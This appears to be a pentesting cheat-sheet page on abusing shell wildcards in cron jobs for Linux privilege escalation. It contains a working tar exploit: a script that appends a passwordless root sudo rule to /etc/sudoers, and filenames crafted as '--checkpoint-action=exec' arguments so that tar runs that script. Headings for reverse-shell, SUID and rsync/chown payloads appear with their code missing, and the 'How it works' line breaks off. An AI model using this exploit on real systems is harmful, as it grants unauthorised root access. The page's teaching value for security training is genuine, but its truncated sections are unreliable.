🌟Wildcard Abuse

🎯 Overview

Wildcard characters (*, ?, []) interpreted by shell can be abused to inject command arguments in scripts and cron jobs for privilege escalation.

🌟 Wildcard Characters

Character
Function

*

Matches any number of characters

?

Matches single character

[]

Matches characters in brackets

~

User home directory

-

Range in brackets

🎯 tar Command Abuse (Most Common)

Vulnerable Cron Job Example

# Cron job with wildcard
*/01 * * * * cd /home/user && tar -zcf backup.tar.gz *

Exploitation Steps

# 1. Create malicious script
echo 'echo "user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh

# 2. Create argument injection files
echo "" > "--checkpoint-action=exec=sh root.sh"
echo "" > --checkpoint=1

# 3. Wait for cron execution
# 4. Check sudo privileges
sudo -l

How it works: Wildcard * expands to all filenames, making tar execute:

πŸ”§ Other Vulnerable Commands

rsync Abuse

chown Abuse

πŸ” Detection & Enumeration

Find Vulnerable Scripts

Quick Check Script

πŸš€ Common Payloads

Add Sudo Privileges

Create SUID Binary

Reverse Shell

πŸ”‘ Key Points

  • Wildcards expand to filenames - creating fake arguments

  • tar is most common target - --checkpoint-action=exec

  • Works with cron jobs - automatic execution as different user

  • File creation required - need write access to target directory

  • Timing matters - wait for scheduled execution


Wildcard abuse turns shell expansion features against the system - transforming filename globbing into arbitrary command execution for privilege escalation.

Last updated